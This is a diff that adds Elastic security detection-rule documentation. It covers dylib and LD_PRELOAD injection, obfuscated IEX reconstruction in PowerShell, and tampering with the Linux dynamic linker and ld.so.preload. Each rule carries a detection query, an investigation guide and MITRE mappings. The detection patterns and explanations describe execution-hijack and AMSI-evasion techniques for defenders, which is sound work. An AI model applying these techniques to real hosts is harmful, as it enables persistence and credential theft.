+Dynamic library injection using DYLD_INSERT_LIBRARIES or LD_PRELOAD environment variables is a powerful technique that allows code to be loaded into a process's address space at runtime. While this capability exists for legitimate debugging and development purposes, threat actors abuse it to hook application functionality, steal credentials, intercept keystrokes, or execute malicious code within trusted processes. This detection rule identifies processes started with these injection environment variables set to non-empty values. + + +*Possible investigation steps* + + +- Review the process.env_vars field to identify the specific dylib being injected via DYLD_INSERT_LIBRARIES or LD_PRELOAD and determine its file path. +- Locate the injected dylib file on the file system using the path from the environment variable and calculate its hash for threat intelligence lookups. +- Analyze the process.executable and process.name fields to identify the target application being hijacked and assess whether dylib injection makes sense for its normal operation. +- Examine the process.parent.executable and process.command_line to understand how the process with injection was launched and trace back to the initial execution vector. +- Review the code signature of the injected dylib using codesign or similar tools to determine if it is signed, and by whom. +- Check for file creation events to determine when the malicious dylib was placed on the system and how it was delivered. +- Correlate with other security events on the same host to identify if the injection is part of a larger attack chain, such as credential theft or keylogging. + + +*False positive analysis* + + +- Xcode and iOS Simulator use DYLD_INSERT_LIBRARIES for debugging and testing purposes during application development. These paths are already excluded in the query. +- Security research and reverse engineering tools may use library injection for analysis. Verify with security teams if such activities are expected. +- Some legitimate applications use library injection for specific functionality. Document these applications and create targeted exceptions after verification. +- Homebrew and development environments may occasionally use these environment variables. Confirm with development teams before creating exclusions. + + +*Response and remediation* + + +- Immediately terminate the process using malicious dylib injection to stop any ongoing malicious activity such as credential theft or keylogging. +- Quarantine the injected dylib file for forensic analysis and malware reverse engineering. +- Remove the malicious dylib from the system and ensure it cannot be reloaded through persistence mechanisms. +- Investigate how the dylib was placed on the system and remediate the initial access or delivery mechanism. +- Review System Integrity Protection (SIP) status on the affected system, as SIP should normally prevent DYLD injection into protected system processes. +- Scan the system for additional indicators of compromise, persistence mechanisms, or lateral movement. +- Reset any credentials that may have been exposed through the injection, particularly if the target application handles sensitive authentication data. +- Escalate to the incident response team for comprehensive analysis if the injection indicates active compromise. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=15s + [process where host.os.type == "macos" and event.type == "start" and event.action == "exec" and + process.env_vars like ("DYLD_INSERT_LIBRARIES=?*", "LD_PRELOAD=?*") and + not process.env_vars like ("DYLD_INSERT_LIBRARIES=", "LD_PRELOAD=", "LD_PRELOAD=") and + not process.executable like ("/Users/*/Library/Developer/Xcode/*", "/Users/*/Library/Developer/CoreSimulator/*") and + not process.parent.executable like ("/usr/bin/xcrun", "/Applications/Xcode*.app/*", "/Library/Developer/*")] + [library where host.os.type == "macos" and event.action == "load" and + not dll.name like ("*.aot", "*.so") and + not dll.code_signature.trusted == true and + not dll.path like ("/System/*", "/usr/lib/*", "/opt/homebrew/*", "/private/var/folders/*", + "/Library/Apple/*", "/Library/Developer/*", + "/Users/*/Library/Developer/Xcode/*", "/Users/*/Library/Developer/CoreSimulator/*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-iex-reconstruction-via-method-string-access.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-iex-reconstruction-via-method-string-access.asciidoc new file mode 100644 index 0000000000..b718aeaa34 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-iex-reconstruction-via-method-string-access.asciidoc @@ -0,0 +1,231 @@ +[[prebuilt-rule-8-19-34-dynamic-iex-reconstruction-via-method-string-access]] +=== Dynamic IEX Reconstruction via Method String Access + +Detects PowerShell scripts that rebuilds IEX by converting method references to strings (for example, ''.IndexOf.ToString()) and extracting multiple indexed characters (for example, [n,n,n]). Attackers use method-string reconstruction to conceal dynamic execution and bypass static detections and AMSI. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: PowerShell Logs +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 13 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This guide was created by humans with the assistance of generative AI. While its contents have been manually curated to include the most valuable information, always validate assumptions and adjust procedures to match your internal runbooks and incident triage and response policies. + + +*Investigating Dynamic IEX Reconstruction via Method String Access* + + +This alert indicates PowerShell script block content that uses method-to-string conversion and indexed character extraction to assemble an execution primitive at runtime, commonly "IEX" (Invoke-Expression). This obfuscation technique can conceal dynamic execution intent and is often used to reduce obvious keywords in the script body. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `Esql.script_block_tmp`: Transformed script block where detection patterns replace original content with a marker to support scoring/counting and quickly spot match locations. +- `Esql.script_block_pattern_count`: Count of matches for the detection pattern(s) observed in the script block content. +- `powershell.file.script_block_entropy_bits`: Shannon entropy of the script block. Higher values may indicate obfuscation. +- `powershell.file.script_block_surprisal_stdev`: Standard deviation of surprisal across the script block. Low values indicate uniform randomness. High values indicate mixed patterns and variability. +- `powershell.file.script_block_unique_symbols`: Count of distinct characters present in the script block. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish execution context and scope: + - Review `host.name` and `host.id` to identify the affected endpoint and its role/criticality. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the activity aligns with expected administrative or automation usage. + - Review `file.path`, `file.directory`, and `file.name` (when present) to understand whether the script originated from an on-disk file. + - Review `agent.id` to pivot to other telemetry from the same endpoint and timeframe. + +- Validate what matched and how extensively it appears: + - Review `Esql.script_block_pattern_count` to gauge how often the technique appears within the script block (higher counts can indicate heavier obfuscation). + - Use `Esql.script_block_tmp` to quickly locate the matched regions, then review the corresponding locations in `powershell.file.script_block_text` for the exact construct and nearby context. + - Review `powershell.file.script_block_length` alongside `powershell.file.script_block_entropy_bits`, `powershell.file.script_block_surprisal_stdev`, and `powershell.file.script_block_unique_symbols` to help distinguish isolated string tricks from broader obfuscation. + +- Reconstruct the full script block when content is split: + - Pivot on `powershell.file.script_block_id` and order results by `powershell.sequence`. + - Use `powershell.total` to confirm you have all fragments before making a final assessment. + - Preserve the reassembled content from `powershell.file.script_block_text` for follow-on analysis and scoping. + +- Determine the reconstructed token and follow-on behavior: + - In `powershell.file.script_block_text`, identify the method string being indexed and the associated index list (for example, [n,n,n]) to determine what characters are being assembled. + - Identify how the reconstructed string is used (for example, invoked directly, assigned to a variable, or passed as an argument) and what content it ultimately executes. + - Capture any secondary artifacts referenced in the script content (for example, embedded payload strings, additional script blocks, or external resource locations) and use them to drive further correlation. + +- Validate likely origin and initiating source: + - If `file.path` is present, validate whether the script location is expected for the user and host, and whether it appears in a user-writable location or a standard administrative tooling path. + - If file origin fields are not present, the script may have been executed interactively or generated at runtime; rely on surrounding endpoint telemetry to identify the initiating process and any related activity. + +- Correlate with adjacent activity to understand impact: + - Review other PowerShell script blocks on the same `host.id` and `user.id` around the alert time to identify staging steps and any follow-on execution. + - If process telemetry is available, identify the PowerShell process and its parent process that initiated execution, and check for suspicious child processes near the alert time. + - If network or file telemetry is available, look for downloads, outbound connections, and file writes temporally aligned with the script block execution and the content referenced within `powershell.file.script_block_text`. + +- Assess prevalence across the environment: + - Search for similar patterns (including stable substrings from `powershell.file.script_block_text`) across other hosts and users. + - Prioritize results with higher `Esql.script_block_pattern_count` and higher obfuscation metrics to identify likely common tooling or shared payloads. + + +*False positive analysis* + + +- PowerShell developers or automation teams may experiment with unconventional string manipulation, but method-string indexing to assemble execution primitives is uncommon in routine administration. +- Authorized security testing, malware analysis, or threat emulation activities can intentionally use this technique; validate against approved testing windows and operator accounts. +- Some script packaging or code protection approaches can introduce non-standard string operations; treat as benign only when the script origin (`file.path` / `file.name`), execution context (`user.id`), and surrounding host activity support a known, approved workflow. + + +*Response and remediation* + + +- If malicious or suspicious activity is confirmed: + - Contain the affected host identified by `host.id` to prevent additional execution and lateral movement. + - Preserve evidence from the alert, including `powershell.file.script_block_text`, `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`, `file.path`, and `Esql.script_block_pattern_count`. + - Scope for related activity by searching for similar content patterns across the environment and identifying additional impacted hosts and accounts. + - If an on-disk script is involved (`file.path` present), collect the file for analysis and remove or quarantine it according to your incident handling process. + - Review the associated account (`user.id`) for additional suspicious activity and remediate credential exposure as appropriate (for example, reset credentials and review recent authentication activity). + +- If the activity is determined to be benign: + - Document the legitimate script source, expected hosts, and operator accounts for future triage. + - Reduce noise with narrowly scoped suppression using stable characteristics available in the alert (for example, consistent `file.path` and repeatable non-sensitive substrings in `powershell.file.script_block_text`), while continuing to monitor for deviations. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-windows.powershell_operational* metadata _id, _version, _index +| where event.code == "4104" + +// Filter out smaller scripts that are unlikely to implement obfuscation using the patterns we are looking for +| eval Esql.script_block_length = length(powershell.file.script_block_text) +| where Esql.script_block_length > 500 + +// replace the patterns we are looking for with the 🔥 emoji to enable counting them +// The emoji is used because it's unlikely to appear in scripts and has a consistent character length of 1 +| eval Esql.script_block_tmp = replace( + powershell.file.script_block_text, + """(?i)['"]['"].(Insert|Normalize|Chars|substring|Remove|LastIndexOfAny|LastIndexOf|IsNormalized|IndexOfAny|IndexOf)[^\[]+\[\d+,\d+,\d+\]""", + "🔥" +) + +// count how many patterns were detected by calculating the number of 🔥 characters inserted +| eval Esql.script_block_pattern_count = length(Esql.script_block_tmp) - length(replace(Esql.script_block_tmp, "🔥", "")) + +// keep the fields relevant to the query, although this is not needed as the alert is populated using _id +| keep + Esql.script_block_pattern_count, + Esql.script_block_length, + Esql.script_block_tmp, + powershell.file.*, + file.path, + file.directory, + powershell.sequence, + powershell.total, + _id, + _version, + _index, + host.name, + host.id, + agent.id, + user.id + +// Filter for scripts that match the pattern at least once +| where Esql.script_block_pattern_count >= 1 + +| where not ( + file.directory like "C:\\\\Program Files\\\\WindowsPowerShell\\\\Modules\\\\Maester\\\\1.1.0*" or + file.directory like "C:\\\\Users\\\\*\\\\Documents\\\\WindowsPowerShell\\\\Modules\\\\Maester\\\\1.1.0*" + ) + // ESQL requires this condition, otherwise it only returns matches where file.directory exists. + or file.directory is null + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Command Obfuscation +** ID: T1027.010 +** Reference URL: https://attack.mitre.org/techniques/T1027/010/ +* Technique: +** Name: Deobfuscate/Decode Files or Information +** ID: T1140 +** Reference URL: https://attack.mitre.org/techniques/T1140/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-copy.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-copy.asciidoc new file mode 100644 index 0000000000..f3f84f01b4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-copy.asciidoc @@ -0,0 +1,214 @@ +[[prebuilt-rule-8-19-34-dynamic-linker-copy]] +=== Dynamic Linker Copy + +Detects the copying of the Linux dynamic loader binary and subsequent file creation for the purpose of creating a backup copy. This technique was seen recently being utilized by Linux malware prior to patching the dynamic loader in order to inject and preload a malicious shared object file. This activity should never occur and if it does then it should be considered highly suspicious or malicious. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Persistence +* Threat: Orbit +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Resources: Osquery + +*Version*: 217 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Dynamic Linker Copy* + + +The Linux dynamic linker is responsible for loading shared libraries required by executables at runtime. It is a critical component of the Linux operating system and should not be tampered with. + +Adversaries may attempt to copy the dynamic linker binary and create a backup copy before patching it to inject and preload malicious shared object files. This technique has been observed in recent Linux malware attacks and is considered highly suspicious or malicious. + +The detection rule 'Dynamic Linker Copy' is designed to identify such abuse by monitoring for processes with names "cp" or "rsync" that involve copying the dynamic linker binary ("/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2") and modifying the "/etc/ld.so.preload" file. Additionally, the rule checks for the creation of new files with the "so" extension on Linux systems. By detecting these activities within a short time span (1 minute), the rule aims to alert security analysts to potential malicious behavior. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. +> This investigation guide uses https://www.elastic.co/guide/en/security/current/osquery-placeholder-fields.html[placeholder fields] to dynamically pass alert data into Osquery queries. Placeholder fields were introduced in Elastic Stack version 8.7.0. If you're using Elastic Stack version 8.6.0 or earlier, you'll need to manually adjust this investigation guide's queries to ensure they properly run. + + +*Possible investigation steps* + + +- Investigate the dynamic linker that was copied or altered. + - !{osquery{"label":"Osquery - Retrieve File Listing Information","query":"SELECT * FROM file WHERE ( path = '/etc/ld.so.preload' OR path = '/lib64/ld-linux-x86-64.so.2' OR path =\n'/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' OR path = '/usr/lib64/ld-linux-x86-64.so.2' OR path =\n'/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' )\n"}} + - !{osquery{"label":"Osquery - Retrieve Additional File Listing Information","query":"SELECT f.path, u.username AS file_owner, g.groupname AS group_owner, datetime(f.atime, 'unixepoch') AS\nfile_last_access_time, datetime(f.mtime, 'unixepoch') AS file_last_modified_time, datetime(f.ctime, 'unixepoch') AS\nfile_last_status_change_time, datetime(f.btime, 'unixepoch') AS file_created_time, f.size AS size_bytes FROM file f LEFT\nJOIN users u ON f.uid = u.uid LEFT JOIN groups g ON f.gid = g.gid WHERE ( path = '/etc/ld.so.preload' OR path =\n'/lib64/ld-linux-x86-64.so.2' OR path = '/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' OR path =\n'/usr/lib64/ld-linux-x86-64.so.2' OR path = '/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2' )\n"}} +- Investigate the script execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence and whether they are located in expected locations. + - !{osquery{"label":"Osquery - Retrieve Running Processes by User","query":"SELECT pid, username, name FROM processes p JOIN users u ON u.uid = p.uid ORDER BY username"}} +- Investigate other alerts associated with the user/host during the past 48 hours. +- Validate the activity is not related to planned patches, updates, network administrator activity, or legitimate software installations. +- Investigate whether the altered scripts call other malicious scripts elsewhere on the file system. + - If scripts or executables were dropped, retrieve the files and determine if they are malicious: + - Use a private sandboxed malware analysis system to perform analysis. + - Observe and collect information about the following activities: + - Attempts to contact external domains and addresses. + - Check if the domain is newly registered or unexpected. + - Check the reputation of the domain or IP address. + - File access, modification, and creation activities. +- Investigate abnormal behaviors by the subject process/user such as network connections, file modifications, and any other spawned child processes. + - Investigate listening ports and open sockets to look for potential command and control traffic or data exfiltration. + - !{osquery{"label":"Osquery - Retrieve Listening Ports","query":"SELECT pid, address, port, socket, protocol, path FROM listening_ports"}} + - !{osquery{"label":"Osquery - Retrieve Open Sockets","query":"SELECT pid, family, remote_address, remote_port, socket, state FROM process_open_sockets"}} + - Identify the user account that performed the action, analyze it, and check whether it should perform this kind of action. + - !{osquery{"label":"Osquery - Retrieve Information for a Specific User","query":"SELECT * FROM users WHERE username = {{user.name}}"}} +- Investigate whether the user is currently logged in and active. + - !{osquery{"label":"Osquery - Investigate the Account Authentication Status","query":"SELECT * FROM logged_in_users WHERE user = {{user.name}}"}} + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. +- Any activity that triggered the alert and is not inherently malicious must be monitored by the security team. +- The security team should address any potential benign true positive (B-TP), as this configuration can put the user and the domain at risk. +- Try to understand the context of the execution by thinking about the user, machine, or business purpose. A small number of endpoints, such as servers with unique software, might appear unusual but satisfy a specific business need. + + +*Related Rules* + + +- Modification of Dynamic Linker Preload Shared Object Inside A Container - 342f834b-21a6-41bf-878c-87d116eba3ee +- Modification of Dynamic Linker Preload Shared Object - 717f82c2-7741-4f9b-85b8-d06aeb853f4f +- Shared Object Created or Changed by Previously Unknown Process - aebaa51f-2a91-4f6a-850b-b601db2293f4 + + +*Response and Remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Leverage the incident response data and logging to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m + [process where host.os.type == "linux" and event.type == "start" and process.name in ("cp", "rsync", "mv") and + process.args in ( + "/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/etc/ld.so.preload", "/lib64/ld-linux-x86-64.so.2", + "/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2", "/usr/lib64/ld-linux-x86-64.so.2" + ) and + not process.args like ("/var/tmp/mkinitramfs*", "/var/tmp/dracut*", "/tmp/mkinitcpio*")] +[file where host.os.type == "linux" and event.action == "creation" and (file.extension == "so" or file.name like "*.so.*")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Sub-technique: +** Name: Dynamic Linker Hijacking +** ID: T1574.006 +** Reference URL: https://attack.mitre.org/techniques/T1574/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-creation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-creation.asciidoc new file mode 100644 index 0000000000..a80b9b7f70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-dynamic-linker-creation.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-dynamic-linker-creation]] +=== Dynamic Linker Creation + +Detects the creation of files related to the configuration of the dynamic linker on Linux systems. The dynamic linker is a shared library that is used by the Linux kernel to load and execute programs. Attackers may attempt to hijack the execution flow of a program by modifying the dynamic linker configuration files. This technique is often observed by userland rootkits that leverage shared objects to maintain persistence on a compromised host. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Persistence +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Dynamic Linker Creation or Modification* + + +The dynamic linker in Linux systems is crucial for loading shared libraries needed by programs at runtime. Adversaries may exploit this by altering linker configuration files to hijack program execution, enabling persistence or evasion. The detection rule identifies suspicious creation or renaming of these files, excluding benign processes and extensions, to flag potential threats. + + +*Possible investigation steps* + + +- Review the file path involved in the alert to determine if it matches any of the critical dynamic linker configuration files such as /etc/ld.so.preload, /etc/ld.so.conf.d/*, or /etc/ld.so.conf. +- Identify the process that triggered the alert by examining the process.executable field and verify if it is listed as a benign process in the exclusion list. If not, investigate the legitimacy of the process. +- Check the file extension and file.Ext.original.extension fields to ensure the file is not a temporary or expected system file, such as those with extensions like swp, swpx, swx, or dpkg-new. +- Investigate the process.name field to determine if the process is a known system utility like java, sed, or perl, and assess if its usage in this context is typical or suspicious. +- Gather additional context by reviewing recent system logs and other security alerts to identify any related or preceding suspicious activities that might indicate a broader attack or compromise. + + +*False positive analysis* + + +- Package management operations can trigger false positives when legitimate package managers like dpkg, rpm, or yum modify linker configuration files. To handle this, ensure these processes are included in the exclusion list to prevent unnecessary alerts. +- System updates or software installations often involve temporary file modifications with extensions like swp or dpkg-new. Exclude these extensions to reduce false positives. +- Automated system management tools such as Puppet or Chef may modify linker files as part of their configuration management tasks. Add these tools to the exclusion list to avoid false alerts. +- Virtualization and containerization platforms like Docker or VMware may alter linker configurations during normal operations. Verify these processes and exclude them if they are part of routine system behavior. +- Custom scripts or applications that use common names like sed or perl might be flagged if they interact with linker files. Review these scripts and consider excluding them if they are verified as safe. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or lateral movement by the adversary. +- Review and restore the original dynamic linker configuration files from a known good backup to ensure the integrity of the system's execution flow. +- Conduct a thorough scan of the affected system using updated antivirus and anti-malware tools to identify and remove any additional malicious software or scripts. +- Analyze system logs and the process execution history to identify the source of the unauthorized changes and determine if any other systems may be compromised. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on the organization. +- Implement additional monitoring on the affected system and similar systems to detect any future attempts to modify dynamic linker configuration files. +- Review and update access controls and permissions to ensure that only authorized personnel have the ability to modify critical system files, reducing the risk of similar incidents in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "linux" and event.action == "creation" and +file.path like ("/etc/ld.so.preload", "/etc/ld.so.conf.d/*", "/etc/ld.so.conf") and +not ( + process.executable in ( + "/bin/dpkg", "/usr/bin/dpkg", "/bin/dockerd", "/usr/bin/dockerd", "/usr/sbin/dockerd", "/bin/microdnf", + "/usr/bin/microdnf", "/bin/rpm", "/usr/bin/rpm", "/bin/snapd", "/usr/bin/snapd", "/bin/yum", "/usr/bin/yum", + "/bin/dnf", "/usr/bin/dnf", "/bin/podman", "/usr/bin/podman", "/bin/dnf-automatic", "/usr/bin/dnf-automatic", + "/bin/pacman", "/usr/bin/pacman", "/usr/bin/dpkg-divert", "/bin/dpkg-divert", "/sbin/apk", "/usr/sbin/apk", + "/usr/local/sbin/apk", "/usr/bin/apt", "/usr/sbin/pacman", "/bin/podman", "/usr/bin/podman", "/usr/bin/puppet", + "/bin/puppet", "/opt/puppetlabs/puppet/bin/puppet", "/usr/bin/chef-client", "/bin/chef-client", + "/bin/autossl_check", "/usr/bin/autossl_check", "/proc/self/exe", "/usr/bin/pamac-daemon", + "/bin/pamac-daemon", "/usr/lib/snapd/snapd", "/usr/local/bin/dockerd", "/usr/libexec/platform-python", + "/usr/lib/snapd/snap-update-ns", "/usr/bin/vmware-config-tools.pl", "./usr/bin/podman", 